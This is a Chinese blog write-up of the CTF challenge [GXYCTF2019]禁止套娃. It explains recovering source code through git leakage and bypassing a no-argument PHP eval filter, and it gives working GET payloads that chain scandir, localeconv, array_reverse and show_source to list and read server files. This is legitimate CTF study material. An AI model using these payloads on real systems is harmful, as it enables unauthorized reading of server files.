[GXYCTF2019]禁止套娃

用dirsearch扫,太频繁,直接被封了,考虑用githack

扫描后,得到index.php,进到2ce5746。。。。里查看一下源码

然后考虑一下绕过的问题。

过滤了几个伪协议,不能用伪协议读取,

(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

正则匹配掉了et/na/info等关键字,很多函数都用不了。

eval($_GET['exp']);           典型的无参数RCE

/[^\W]+\((?R)?\)/                典型无参数RCE正则

 无参数RCE可以通过这些方式:

scandir()

print_r(scandir(xxxxxx)); #表示获取某目录下的文件

localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."

current() 返回数组中的当前单元, 默认取第一个值。

 

所以如果用print_r(scandir(current(localeconv())));就可以查看当前目录下的文件

 

  • file_get_contents() #把整个文件读入一个字符串中;
  • file #把整个文件读入一个数组中;
  • readfile() #读入一个文件并写入到输出缓冲;
  • highlight_file() #对文件进行语法高亮显示;
  • show_source() #对文件进行语法高亮显示;

 

  • array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
  • next()指向数组的下一个元素。
  • prev() - 将内部指针指向数组中的上一个元素,并输出
  • current() - 返回数组中的当前元素的值
  • end() - 将内部指针指向数组中的最后一个元素,并输出
  • reset() - 将内部指针指向数组中的第一个元素,并输出
  • each() - 返回当前元素的键名和键值,并将内部指针向前移动

?exp=print_r(scandir(pos(localeconv())));

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

 

参考文章:

https://cloud.tencent.com/developer/article/1760288

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值